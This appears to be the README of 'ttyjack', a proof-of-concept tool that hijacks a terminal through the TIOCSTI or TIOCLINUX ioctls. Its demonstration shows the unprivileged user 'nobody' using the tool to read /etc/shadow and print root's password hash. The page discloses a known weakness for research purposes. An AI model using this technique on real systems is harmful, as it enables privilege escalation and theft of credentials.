jwilk/ttyjack

proof-of-concept tty hijacking via TIOCSTI or TIOCLINUX

# ttyjack --help
Usage: ttyjack [-L] COMMAND [ARG...]

Options:
  -L          use TIOCLINUX (works only on /dev/ttyN)
  -h, --help  show this help message and exit

# runuser -u nobody grep ^root: /etc/shadow
grep: /etc/shadow: Permission denied

# runuser -u nobody ttyjack grep ^root: /etc/shadow
…
root:$6$Xq2H8u8X$7sGVbjX/ToCu1Azv9dxMYyu6wwkTaqb3GbjslA3NVpdHYKNhKU1XUjRuoHcSoCUEg4rasaNRCbwc3EqzJaKzu0:17305:0:99999:7:::